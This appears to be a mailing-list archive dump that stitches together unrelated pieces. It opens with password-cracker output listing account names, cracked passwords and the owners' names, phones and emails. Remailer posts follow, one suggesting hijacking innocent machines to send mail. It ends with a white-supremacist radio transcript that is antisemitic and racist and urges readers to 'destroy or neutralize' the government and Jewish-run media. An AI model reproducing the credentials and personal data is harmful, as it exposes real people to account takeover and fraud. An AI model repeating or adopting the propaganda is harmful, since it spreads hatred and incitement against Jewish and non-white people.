Adrian Watson,Y.A.M. Incorporated,,hpatrick(a)nls.net [etc_passwd.fixed /bin/tcsh] Guessed awareness [awareness [HAPPY]] Mark Hecox,VAliente Marketing,714-779-7154, [etc_passwd.fixed /bin/tcsh] Guessed capital [capital [CESSNA]] Louten Hedgpeth & Jack Langhorne,,910-392-7122,lrhedgpeth(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed infostart [infostart [GOFORIT]] Gary Brendle,,410-349-1260, [etc_passwd.fixed /bin/tcsh] Guessed donl [donl [DONELLE]] Don Lewis,,909-985-0651, [etc_passwd.fixed /bin/tcsh] Guessed peak [peak [ORGASMIC]] Ron Goulet,,520-779-5342, [etc_passwd.fixed /bin/tcsh] Guessed vipvalues [vipvalues [GRACE]] Michael Franklin,V.I.P.,213 753-9241, [etc_passwd.fixed /bin/tcsh] Guessed lilleyen [lilleyen [GANDALF]] Richard Lilley,Lilley Enterprises,905-319-1369, [etc_passwd.fixed /bin/tcsh] Guessed ozone [ozone [TOWLES]] Jogn Towles,,817-859-5187, [etc_passwd.fixed /bin/tcsh] Guessed welcome [welcome [SNOWSTOR]] Joe Kuhn,,908-220-1110,qwikmail(a)raven.cybercomm.net [etc_passwd.fixed /bin/tcsh] Guessed child [child [MIDAS]] Bill Panchuck,Showcase,eaglekoz(a)ix.netcom.com, [etc_passwd.fixed /bin/tcsh] Guessed cellular [cellular [DISKETTE]] John Hendrix,Simply Natural Prod,713 484-3490, [etc_passwd.fixed /bin/tcsh] Guessed sponsors [sponsors [BASKETBA]] Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops(a)kudos.net [etc_passwd.fixed /bin/tcsh] Guessed cbccorp [cbccorp [SCOUT]] Peter Donofrio,,, [etc_passwd.fixed /bin/tcsh] Guessed autoreply [autoreply [NORTHLAN]] Karen Nelson,Northland Specialty Products,218-727-8641,rnelson(a)cp.duluth.mn.us [etc_passwd.fixed /bin/tcsh] Guessed money4u [money4u [KELLY]] PJ Graves,P. Graves Publishing,415-668-9583, [etc_passwd.fixed /bin/tcsh] Guessed stealdeals [stealdeals [ENERGIZE]] Barry Sowder,,407-332-0400, [etc_passwd.fixed /bin/tcsh] Guessed gcmkt [gcmkt [CRAWFISH]] Neil Goodman,,504-766-8843, [etc_passwd.fixed /bin/tcsh] Guessed autofuture [autofuture [CADILLAC]] Andre West,,313-709-4667, [etc_passwd.fixed /bin/tcsh] Guessed freeway1 [freeway1 [SLACKER]] Brian Perisho,,317-241-4918, [etc_passwd.fixed /bin/tcsh] Guessed jl [jl [MILAGROS]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed bewealthy [bewealthy [GREENBAC]] John Wright,334-286-6275,, [etc_passwd.fixed /bin/tcsh] Guessed freeinfo [freeinfo [CHICLET]] Alan Lange,,, [etc_passwd.fixed /bin/tcsh] Guessed deepbreath [deepbreath [ANANDA]] Dr. Joy Rausmussen,,, [etc_passwd.fixed /bin/tcsh] Guessed gcprod [gcprod [PRODUC]] Gary Cuminale,GNC Products,716-381-7132, [etc_passwd.fixed /bin/tcsh] Guessed infocenter [infocenter [ACCUSER]] Maynard S. White,,805-945-0351, [etc_passwd.fixed /bin/tcsh] Guessed grants [grants [TERESA]] Victor Chapman,CM Consulting,516-377-3307,roger7891(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed vision [vision [THUNDER]] Paula Stoup,,717-783-6465,paulas1043(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed mikeplus1 [mikeplus1 [SNIFFY]] Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh] Guessed srdcorp [srdcorp [SAILING]] Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh] Guessed bncentprs [bncentprs [JESUS]] Robert Goldinger,BNC Enterprises,757-548-2179, [etc_passwd.fixed /bin/tcsh] Guessed shamrock [shamrock [CYPRESS]] Tom Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed dlbedding [dlbedding [CHANCE]] Bill Dantuoson,Donalee Bedding,516-783-9896,billydlm(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed frsecurity [frsecurity [THISISIT]] Robert Davis,,803-667-0702,jdr02(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed david [david [REBECCA]] David Richards,717-242-0873,, [etc_passwd.fixed /bin/tcsh] Guessed pegasustrv [pegasustrv [LIZZIE]] Claire Covington Altorfer,Pegasus Travel,510-825-5777, [etc_passwd.fixed /bin/tcsh] Guessed employnews [employnews [INGRID]] Reginald Barefield,,610-798-7869, [etc_passwd.fixed /bin/tcsh] Guessed carproinc [carproinc [GROSS]] Wayne T. Carsey Jr.,Car Pro Inc,916-853-9721,wcarsey(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed alexis [alexis [WHALES]] Mary Knorr,Medical Herbal Resources,602-678-4362, [etc_passwd.fixed /bin/tcsh] Guessed topscan [topscan [JUSTIN]] David Hall,,910-855-6375, [etc_passwd.fixed /bin/tcsh] Guessed mattken [mattken [INWOOD]] Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed travelagt [travelagt [GOLDIE]] David Goldsmith,Hello World Travel,847-673-7610, [etc_passwd.fixed /bin/tcsh] Guessed coupons [coupons [DISKETTE]] John Hendrix,,, [etc_passwd.fixed /bin/tcsh] Guessed salesunlim [salesunlim [COYOTE]] Ronald Wiley,Sales Unlimited Inc.,908-780-2590, [etc_passwd.fixed /bin/tcsh] Guessed incomeplus [incomeplus [CHELSEY]] Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh] Guessed lecram [lecram [BARUCH]] Rene Roussey,,516-283-4240, [etc_passwd.fixed /bin/tcsh] Guessed mortgage [mortgage [PEANUT]] Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh] Guessed ucan2 [ucan2 [NAMASTE]] Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh] Guessed hotbiz [hotbiz [ALBERTA]] Ted Benedict,,604-535-3304, [etc_passwd.fixed /bin/tcsh] Guessed sjsent [hotbiz [ALBERTA]] Steven Spohn,SJS Enterprises,610-987-9272, [etc_passwd.fixed /bin/tcsh] Guessed findout [findout [SWISHER]] Ben Vann,Blue Whale Media,910-785-9296,bvann(a)whalemail.com [etc_passwd.fixed /bin/tcsh] Guessed prosper [prosper [SITUATIO]] Daniel Sheehey,,707-822-8324,djshee(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed iaplus [iaplus [SALOME]] Amos Fisher,,717-354-6594, [etc_passwd.fixed /bin/tcsh] Guessed light [light [RAYMOND]] AMOS FISHER,,717 354-4046, [etc_passwd.fixed /bin/tcsh] Guessed cheapcalls [cheapcalls [MAGICAL]] Richard Rubenstein,,219-864-2501,rnr(a)pla.net.net [etc_passwd.fixed /bin/tcsh] Guessed bigprofits [bigprofits [DROSOPHI]] Steven Ayer,Internet Marketing Solutions,203-421-5070,bigprofits(a)writeme.com [etc_passwd.fixed /bin/tcsh] Guessed powernow [powernow [CHELSEY]] Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh] Guessed drchris [drchris [PSYCHE]] Dr. Chris Wolf,,609-983-5129, [etc_passwd.fixed /bin/tcsh] Guessed amnat1 [amnat1 [PARROT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed amsquare [amsquare [MOOSEHEA]] Doug Petersen,,508-376-1248, [etc_passwd.fixed /bin/tcsh] Guessed answers [answers [CHELSEY]] Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh] Guessed freeads [freeads [BATMAN]] Bill Guting,,,awt(a)cwnet.com [etc_passwd.fixed /bin/tcsh] Guessed college [college [KELLY]] Pam Graves,,415-668-9583, [etc_passwd.fixed /bin/tcsh] Guessed powerad [powerad [DENTAL]] Juanita Boivin,,,urwlthybiz(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed newbuss [newbuss [CHELSEY]] Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh] Guessed classads [classads [WINTER]] Robert Pearsall,,, [etc_passwd.fixed /bin/tcsh] Guessed zee [zee [SYLVESTE]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed disease [disease [MOOSEHEA]] Doug Peterson,,508-376-1248, [etc_passwd.fixed /bin/tcsh] Guessed steveplus [steveplus [GIANTS]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed matco [matco [PRAISE]] John Matthews,,972-226-0491, [etc_passwd.fixed /bin/tcsh] Guessed legalwon [legalwon [CRITTER]] Peter Brock,Developmental Learning Concepts,301-949-4422, [etc_passwd.fixed /bin/tcsh] Guessed siteone [siteone [CIRCLE]] Richard Scott,Richard Scott + Assoc.,334-928-8406, [etc_passwd.fixed /bin/tcsh] Guessed sandman [sandman [BLASTER]] Ed Sand,,406-684-5759, [etc_passwd.fixed /bin/tcsh] Guessed disneygroup [disneygroup [JOSHUA]] Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh] Guessed sevenmil [sevenmil [DOROTHY]] Eric Ralls,New Horizons,602-547-5911, [etc_passwd.fixed /bin/tcsh] Guessed adman [adman [CRYSTAL]] Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh] Guessed solar1 [solar1 [SHOPPING]] Gary Corbitt,,310-338-1019, [etc_passwd.fixed /bin/tcsh] Guessed b6024 [b6024 [PATIENCE]] Tom Benedict,Tom Benedict,813-528-1548, [etc_passwd.fixed /bin/tcsh] Guessed online [online [LOVER]] Joe Cola,Bank Card Systems,800-563-7832, [etc_passwd.fixed /bin/tcsh] Guessed invest [invest [CRYSTAL]] Benjamin Ice,,,jammerjoe(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed gocell [gocell [AMANDA]] Lawrence Falco,L & S Marketing,516-821-1125, [etc_passwd.fixed /bin/tcsh] Guessed donow [donow [TURNAROU]] Bradley Near,,602-954-1809, [etc_passwd.fixed /bin/tcsh] Guessed laptop [laptop [MUSIC]] Thomas Cox,,954-925-8132, [etc_passwd.fixed /bin/tcsh] Guessed mktgconcepts [mktgconcepts [MARTHA]] Robert Hutton,Marketing Concepts,212-333-3131,rhutton(a)idt.net [etc_passwd.fixed /bin/tcsh] Guessed wholesaleprices [wholesaleprices [MARIAM]] Mohammad Hanif,,972-669-2223,compumart(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed removeme [removeme [ERASER]] Dave Mann,,, [etc_passwd.fixed /bin/tcsh] Guessed allnatural [allnatural [CHELSEY]] Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh] Guessed welltrend [welltrend [BUMBLE]] Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh] Guessed mquest [mquest [OOPS]] Phil Brown,Merchant Quest,541-742-6206,pbrown(a)pdx.oneworld.com [etc_passwd.fixed /bin/tcsh] Guessed health [health [JESUS]] Randy Haugen,Cypress Marketing Inc,303-763-5787, [etc_passwd.fixed /bin/tcsh] Guessed rcenterpi [rcenterpi [HALFWAY]] Ron Mayfield,,417-445-2602 or 417-445-6797,roncan(a)juno.com [etc_passwd.fixed /bin/tcsh] Guessed tvlsecrets [tvlsecrets [CAVIAR]] Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed protection [protection [MOOSEHEA]] Doug Peterson,,, [etc_passwd.fixed /bin/tcsh] Guessed robtym [robtym [MAKEMYDA]] Tom Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed networkes [networkes [DOROTHY]] Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh] Guessed helpme [helpme [CORKIE]] Doug Sutton,905-567-1874,, [etc_passwd.fixed /bin/tcsh] Guessed profile [profile [METHOD]] Joe Kuhn,908-220-1110,qwikmail(a)raven.cybercomm.net, [etc_passwd.fixed /bin/tcsh] Guessed adna1 [adna1 [MAYE]] Adna Dalessandro,,216 779-1136, [etc_passwd.fixed /bin/tcsh] Guessed response [response [STINKY]] Steve Brown,Business Solutions South,601-832-5031, [etc_passwd.fixed /bin/tcsh] Guessed anyahu [anyahu [ANKLES]] Doug Sutton,Winning Edge Systems,905-567-1874, [etc_passwd.fixed /bin/tcsh] Guessed secret1 [secret1 [ALEXANDR]] John (see secret),see secret,see secret,see secret [etc_passwd.fixed /bin/tcsh] Guessed ezwork [ezwork [ACCESS]] Glenda Smith,,216-291-4589,gs72895(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed herb [herb [TINSEL]] Bob Keegan,,215-493-0706, [etc_passwd.fixed /bin/tcsh] Guessed cash [cash [SYLVESTE]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed choice3 [choice3 [PROFIT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed yucan2 [yucan2 [OLIVER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed rainbow [rainbow [WILBUR]] Patrice Lowe,,219-397-6615, [etc_passwd.fixed /bin/tcsh] Guessed choice4 [choice4 [PROFIT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed jeps318 [jeps318 [MYCROFT]] John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh] Guessed mortgages [mortgages [MIDAS]] Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh] Guessed blizzard97 [blizzard97 [BETSY]] David Woldt,,605-886-3654,turbo41(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed mecca [mecca [BACKWARD]] Thomas Cox resell,,954-925-8132, [etc_passwd.fixed /bin/tcsh] Guessed teezer [teezer [TEASER]] Dan Herzner,,914-769-6700, [etc_passwd.fixed /bin/tcsh] Guessed help4u [help4u [MINERAL]] Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh] Guessed free800 [free800 [JOSHUA]] Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh] Guessed bdbem [bdbem [ANNIE]] Louis Salatto,,203-483-8634, [etc_passwd.fixed /bin/tcsh] Guessed tpn1996 [tpn1996 [TALONS]] Richard Mathiason,,707-642-8632, [etc_passwd.fixed /bin/tcsh] Guessed rdlpinfo [rdlpinfo [PARKER]] Peter Vaglica,,,tlpc(a)gte.net [etc_passwd.fixed /bin/tcsh] Guessed healthwealth [healthwealth [JESUS]] Diane Goselin,,508-791-6828, [etc_passwd.fixed /bin/tcsh] Guessed eleven [eleven [DOROTHY]] Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh] Guessed infosales1 [infosales1 [BEAR]] Steve Crockett,,904-857-7717,infosales1(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed secrets [secrets [PICKUP]] Lillian & John Eagan,,908-431-4366, [etc_passwd.fixed /bin/tcsh] Guessed marketinfo [marketinfo [PARKER]] Peter Vaglica,,,tlpc(a)gte.net [etc_passwd.fixed /bin/tcsh] Guessed kangaroo [kangaroo [LYDIA]] Matthew Silverman,,508-369-4560, [etc_passwd.fixed /bin/tcsh] Guessed wealth [wealth [KELLY]] Chris Molinari,Adler Publishing,408-353-3141, [etc_passwd.fixed /bin/tcsh] Guessed difaznet [difaznet [GORDO]] Ray DiFazio,,415-668-5161, [etc_passwd.fixed /bin/tcsh] Guessed bizopp [bizopp [ALBERTA]] Ted Benedict,,, [etc_passwd.fixed /bin/tcsh] Guessed offshore1 [offshore1 [JAMAICA]] Denise Cook,Marketing Ect Trust,602-979-4844,dicook(a)sisna.com [etc_passwd.fixed /bin/tcsh] Guessed diet30 [diet30 [CHELSEY]] Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh] Guessed sales [sales [CARRIER]] Brad Konia,,610-437-1000,brad(a)fastcolor.com [etc_passwd.fixed /bin/tcsh] Guessed blessdlife [blessdlife [SUNSHINE]] Prasit K. Frazee,Lifetronix,704-536-3779,blessdlife(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed jeps317 [jeps317 [MYCROFT]] John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]

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Re: Fixing the "From:" Problem
by Toto 17 Dec '03

17 Dec '03

Anonymous wrote: > > Previously "The Fly on the Wall" suggested that duplicated "From:" > lines were somehow caused by cyberpass.net because they do not occur > on algebra.com. This was an error. They do seem to occur on both > lists. I believe that the errors come from cyberpass.net, and only show up on the messages that algebra.com receives from there and forwards. > > Many of the messages I receive have incorrect "From:" headers. Or, > > more precisely, they have _two_ such "From:" header lines. My > > sorting software mislabels the senders, and, in some cases, dumps > > messages from readers I would like to read into my trash folder. This is obviously the result of a conspiracy against yourself. I would suggest that you send letters to the list exposing yourself as a Nazi censor and a schill of your inner Sammeer. > Messages in which Hal replies to another reader have a very high > incidence of double "From:" lines. > > Blanc's messages also seem to have double "From:" lines quite > frequently which suggests there is a common mode failure here. Are > Blanc and Hal using the same mail software by any chance? I can't decide which color crayon to use to connect them on my chart. Red, for secret lovers, or black, for evil twins? > The Fly on the Wall <swat!> -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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Re: The Problem with Remailers
by Toto 17 Dec '03

17 Dec '03

Kent Crispin wrote: > > > Any ideas on what can be done to extend the life of the remailer network? > > 1) Be sure that the final mailer is in a country different than the > target address, a country that cannot be reached legally. > > 2) Randomly take over innocent machines (not part of the remailer > network) for short periods of time to be the final mailer. The > innocent will be able to honestly claim they were victimized as > well. Or steal a page from the spammers' books, and have the messages sent from throwaway accounts set up at various ISP's. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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Perry's Remailer
by Toto 17 Dec '03

17 Dec '03

Anonymous wrote: > > John Perry is shutting down because somebody is using his remailer to > send unkind messages to the FBI. (BTW, probably the FBI is sending > mean messages to the FBI.) > > Why would not one of these solutions work? > 1. Accept and send PGP encrypted messages only. > 2. Keep a list of addresses of people who do not wish to receive mail > from the remailers. Probably because the stopping of alleged threatening letters is not the issue actually involved, here. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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Remailer problem solution?
by Greg Broiles 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- At 01:56 PM 3/22/97 -0800, nobody(a)hidden.net wrote: >John Perry is shutting down because somebody is using his remailer to >send unkind messages to the FBI. (BTW, probably the FBI is sending >mean messages to the FBI.) Perhaps it's their colleagues at another TLA. :) >Why would not one of these solutions work? > >1. Accept and send PGP encrypted messages only. This "works" in that it reduces the number of people subjected to messages they don't want to see, but it also makes it more difficult (or impossible) to use remailers for tasks like: sending info to crypto-illiterate reporters/politicians/whatever ("whistleblowing") sending messages to newsgroups and mailing lists which don't have a shared private key >2. Keep a list of addresses of people who do not wish to receive mail >from the remailers. This is done already, but the group of people who don't want to recieve mail from remailers but haven't signed up yet (because they don't know about remailers) is orders of magnitude bigger than people who've signed up. Mostly people get on the block list(s) because they've already been mailed things they didn't want to see; by the time they learn about blocking, it's too late. Also, it's difficult to apply this solution to many remailers - should all remailers block an address because one remailer operator claims to have received a request? Or should each operator act alone, which means that one anonymity-hostile end user must send multiple block requests? -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMzS0cv37pMWUJFlhAQHf6wf+PXP/Q4C1YAAue2uqLtYJo7lIi3l2huQd dzsNIYt77tq9ThacUwyhymOD44S7kKYB95cU44NBnLnD4Unv16jH+9AU4PWeHrhJ lqWOhYI02lJEl3NLD4c5MR0FIRqcFj2jny2FNBpmMou/v8Mh/vJLQTcPrQP9p9Y9 4yOrbQuzafRzgrmcyLbaSzEgP+uljFP6LeP6RTfYCR4+R97xxr8veSuugYVcEX/o Z2w7w+OiMrUtFbE+kDFHJVm/wHW1w+WxDfM//BZUPLOqTI1v62CIzWoNn7dOCeX6 GN2yn8bk17YE2Nz15AIXiD55yt96cOK6L+WvktwNQXk3rcUfbLUUsw== =N7e1 -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles(a)netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. |

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ADV Weekly Transcripts
by vincent＠dreamon.com 17 Dec '03

17 Dec '03

--------------------------------------------------------------- American Dissident Voices is a world wide radio program which deals with topics of interest that concern people of European descent. We hope that these weekly articles will offer the reader an opposing viewpoint to the major news media. If you would like to unsubscribe to this service, please e-mail vincent(a)dreamon.com. For more information visit the National Alliance web site at http://www.natall.com. For patriotic books, tapes and videos, visit National Vanguard Books Online Catalog at http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com -------------------------------------------- American Dissident Voices Online Radio http://www.natall.com/radio/radio.html The Big Picture A Bare-Bones Outline of Our Present Predicament by Dr. William Pierce Chairman, National Alliance What's the most important thing in your life? Is it making as much money as possible? Is it getting along with other people and being popular? Is it security? Is it happiness? Well, of course, most of us would like to have financial security, and we would like to be happy. But for some of us there's something more important than security and personal happiness. I'm addressing now the more serious-minded listeners, the ones who are capable of understanding things like duty and responsibility. Duty and responsibility: those are almost bad words these days -- definitely not fashionable. We've been conditioned by the media to be suspicious of people who talk about such things. This is the feel-good generation, the MTV generation. But really, we know that more important than feeling good is doing good, doing right. The most important thing for us is using our lives in the right way. The most important thing is having the right purpose and serving that purpose effectively. We need to look beyond our bank accounts and our personal hobbies and our immediate circle of friends in order to find purpose. We need to see ourselves set in a larger context. We need to understand how our own lives are important as a part of the world around us: not just the world of here and now, but also the world of the future and the world of the past. We need to see our own lives as a part of the historical process. When we do this, when we see ourselves in context, then we begin to understand our responsibility, our purpose. We begin to understand what's really important in our lives. We see that we have a responsibility to the people who came before us and made it possible for us to live, the people whose genius and work and sacrifice built our world for us, built our civilization for us, gave us our culture. We have a responsibility to ensure that their toil and sacrifice were not in vain. And we have a responsibility to the people who will come after us, a responsibility to all the future generations of our people. We must ensure that what we have inherited from our ancestors will be preserved and enhanced and strengthened by us and passed on to those who will follow us. This is the most important thing in our lives: understanding this purpose, accepting this responsibility. At least, it is the most important thing for those of us who are serious about our lives, those of us who have not become corrupted and trivialized by watching too much MTV. So we need to be concerned about what's happening to our world today. We need to become involved in it. We need to accept responsibility for it. That's the whole reason for Free Speech and American Dissident Voices. It's to help with understanding what's happening, and it's to provide a little push, a little inspiration, to get you involved. In past broadcasts I've talked about many specific aspects of what we need to be concerned about. I've talked about specific threats to our world. I've talked about the breakdown of our system of justice, and I've given you specific examples: the acquittal of O.J. Simpson after he murdered two people, and the $43 million verdict against Bernard Goetz for defending himself against Black muggers. I've talked about the lies and the hypocrisy of the government in Washington. I've talked about the government's ruinous trade policy. I've talked about the Jewish monopoly control of the news and entertainment media in America and the destructive way in which that control is used. I've talked to you about the movement to get rid of our Bill of Rights, the movement to scrap the First and Second Amendments, the movement to make it illegal for us to write or say anything which is not Politically Correct, and to take away our means to defend our rights against those who want to abolish them. And all of these things are important. We must look at details, we must look at specifics, if we are to understand what to do. Today, though, I'd like to look at the big picture. I want to talk to you about what has happened to us, and why, and what we must do about it. First, let's back off a bit, so that we can see the picture more clearly. Three hundred years ago, when nearly all of our ancestors were still in Europe, we had a pretty good grip on things. We were involved in the historical process. We had a feeling for our past and a sense of responsibility to the future. No one was telling us that it was wicked or racist or anti-Semitic or hateful to want to ensure a better world for our descendants. That was because we still had our wits about us, more or less, and we did not let anyone into our midst whose aim was to weaken us and destroy us. We had no MTV. We were all Whites; we were all Europeans. We had no slaves, no non-Whites among us. We kept the Jews in their ghettos and very tightly circumscribed their activities. It was just us. We had common roots and a common concern for the future. Now, I'm oversimplifying things a bit to make my point, of course. Europeans did have disagreements among themselves. We did have wars from time to time. We did mistreat each other. But it was just us. It was all in the family. We had no aliens among us exercising influence over us and hating us and planning our destruction. Our books and our journals were written by us and were published by us. There was no Jew-controlled television. Our young people were taught in our schools and our universities by us, not by clever aliens attempting to corrupt and subvert. And among ourselves -- just us -- we were building a great civilization. In the 18th and 19th centuries we created a world of science and music and literature and painting which greatly surpassed anything which had come before. And we spread our dominion over the earth. Wherever we went we conquered: in the Middle East and India, in the Far East -- and in the West, in the New World. We were proud and self-confident. We knew who we were. We were White. We were European. We did not mix with those who were not European. When we needed land for our people, we took it. If anyone raised his hand against us, we struck him down. And thus we built America. And it was a strong and good and progressive nation, a White nation. We did make mistakes during the past 300 years, though. In America we brought in Black slaves to work the land in the South, and we brought in Chinese coolies to work as laborers in the West. We kept ourselves separate from these non-White slaves and servants, but bringing them into our living space laid the groundwork for our present disaster. In France and elsewhere in Europe, we let ourselves be hypnotized by false propaganda about equality. We are all equal, all the same, this propaganda said, and we all should mix and be brothers, and no man should have more than another. So we let the Jews out of their ghettoes and we let them become citizens of European countries. They repaid us by corrupting our music and our literature and by subverting every European institution. One of them, a Jew named Marx, launched Communism, which eventually enslaved half of our world and murdered tens of millions of our people, often the best elements among our people. The brightest and most energetic and most successful of our people were butchered by the tens of millions by the Communists in Europe. In America they were not able to succeed with Communism, but they infiltrated and took over our mass media of news and entertainment: our films, radio, television, book publishing, and major newspapers. And with these media they pushed the false propaganda of liberalism: We are all equal, they said, Black and White and Chinaman and Jew, all the same -- except that you Whites have the stain of guilt on you for having thought yourselves better than the rest of us, and now you must make it up to us for having mistreated us in the past. And with this propaganda they wormed their way into our educational establishment, into our government, into all of our institutions. And because they controlled so many of the media, there was hardly a voice of opposition, hardly a voice of sanity and reason to be heard in opposition to their propaganda, and they were able to corrupt the minds of millions of young Americans. They were able to instill feelings of racial guilt and racial self-hatred into two generations of young White people. And with their growing influence they were able to open America's borders to the non-White world, and they were able to force racial integration on our schools, our work places, our neighborhoods. They replaced our European music with jazz and rock and rap. They introduced what they fondly call "modernism" into art and literature, replacing our culture with a Judaized trash culture. They overturned the laws against miscegenation. They persuaded the leaders of the Christian churches to join their revolution against the White world. They turned our government into a cesspool, occupied by people like Bill and Hillary Clinton. And so here we are today, at the end of the 20th century, facing the prospect of becoming a minority in our own country before the middle of the next century, and so paralyzed by fear and guilt and self-hatred that while some of us look forward eagerly to our self-extinction most of the rest of us refuse to do anything to avert it. Quite a mess! Now, I have greatly oversimplified the picture, just so that we could grasp the most important features. I have not mentioned the minority of Jews who never engaged in or supported the subversive activities of the majority of Jews. I have not talked about all of the criminals among our own people, besides the Clintons, who have collaborated with the Jews. Those are details which are important, and I have discussed those details in other broadcasts. But right now we want to grasp just the coarsest features of our predicament. We want to understand, in a very rough simple way, what our situation is and what we must do about it. I'll spell out these rough and simple features: First, America has been transformed from a White country before the Second World War, a White country in which the 10% non-White portion of the population was strictly segregated from the White population, into a multiracial morass today. The non-White population in America is increasing so rapidly that it will constitute a majority, and we will be a minority, within the next 50 years. Second, America's government is deliberately and forcefully implementing this racial transformation. The government, an institution which our ancestors created to be the guardian of our welfare, has become the deadliest enemy of our people. It is deliberate government policy which is responsible for the flood of non-White immigrants, both legal and illegal, now pouring across our borders. It is deliberate government policy which feeds and houses and encourages the breeding of the huge and growing non-White underclass in our cities. It is deliberate government policy which mixes the non-White population with the White population and encourages miscegenation. Third, most of the White population in America is collaborating in its own destruction, partly from ignorance, partly from fear, but mostly from a blind, animalistic urge to conform to perceived norms of public opinion. Fourth, the mass media of news and entertainment provide the guiding spirit for White America's rush to self-destruction, and those media are largely in the hands of the Jewish minority. The controlled media, with virtual unanimity, push the party line of egalitarianism and multiculturalism and racial mixing. The controlled media, with virtual unanimity, push the party line of feminism and of toleration for homosexuality and of White "guilt" for supposed historic wrongs to non-Whites. The media, by influencing the attitudes and opinions of most voters, wield the power which determines which politicians get elected to public office in America. The media -- especially the media of film and television -- have done more than any other institution to degrade the cultural and moral level of our people. And the people who wield the media as a weapon against us are Jews. That's our situation today, in very rough outline. And, of course, I've left out a thousand details and refinements and qualifications. I've not talked about the destructive, anti-White doctrines of many of the Christian churches. I've not mentioned the slavishly pro-Jewish and anti-White policies of many powerful White politicians, such as Edward Kennedy, Bill Clinton, and Robert Dole. I've ignored economics altogether. I've not said anything about the destructive effects of the government's trade policy. I've not explored the Jews' motivation for what they're doing. I've just pointed out four basic facts: first, America is being transformed very rapidly from a White country to a non-White country; second, the government is deliberately implementing this transformation; third, most of the White population is not resisting the transformation; and fourth, the mass media, controlled by the Jews, are providing the driving force for it all. What this means to those of us who feel some sense of responsibility to our ancestors and to our posterity is that our people are being faced with the greatest threat ever, with the threat of extinction, and that we must do whatever we can to avert this threat. And what we must do -- again in the very roughest and crudest terms -- is, first, destroy or neutralize the two hostile forces which are leading us to our destruction namely, the government and the Jew-controlled media; and second, start our badly corrupted and misled people back on the road to duty and responsibility. I'm leaving out many important details, of course. I haven't even mentioned how we are to deal with the Blacks in our midst, for example. But that is a detail we know that we can handle, once we have taken care of the government and the Jewish media and begun curing our own people of their present sickness. So, we know roughly what our problem is and roughly what we must do about it. Now we must get back to the details, because that's the only way we can make plans and execute them. But seeing the big picture is important in making plans, because it sets the boundaries for us. Once we understand the urgency of our situation, once we understand the finality of the fate designed for us by our enemies, we know that we must either conquer or die. If we do not defeat those who intend to destroy us, and defeat them soon, then our people will perish forever. What this means for us is that no matter how small our likelihood for success, we must act. No matter how desperate the gamble, we must take it. We must not fail to act. We must not do nothing, simply because no plan seems certain of success. No loss as a consequence of acting can be greater than the loss from failing to act. If we are responsible adults, if we are honorable adults, then we must act. There is no acceptable excuse for not acting -- not family obligations, not personal security, not career considerations -- no excuse. If we do not act, then everything will be lost, every reason for living, every reason for which our ancestors lived and worked and sacrificed and suffered and died. The deadly filth of Jewish liberalism will spread over our entire race and destroy it -- irrevocably, forever. I promised you details, and now I'm running out of time. But here's one detail: no matter what else we do, our first move must be to alert all of our people to the situation I have outlined 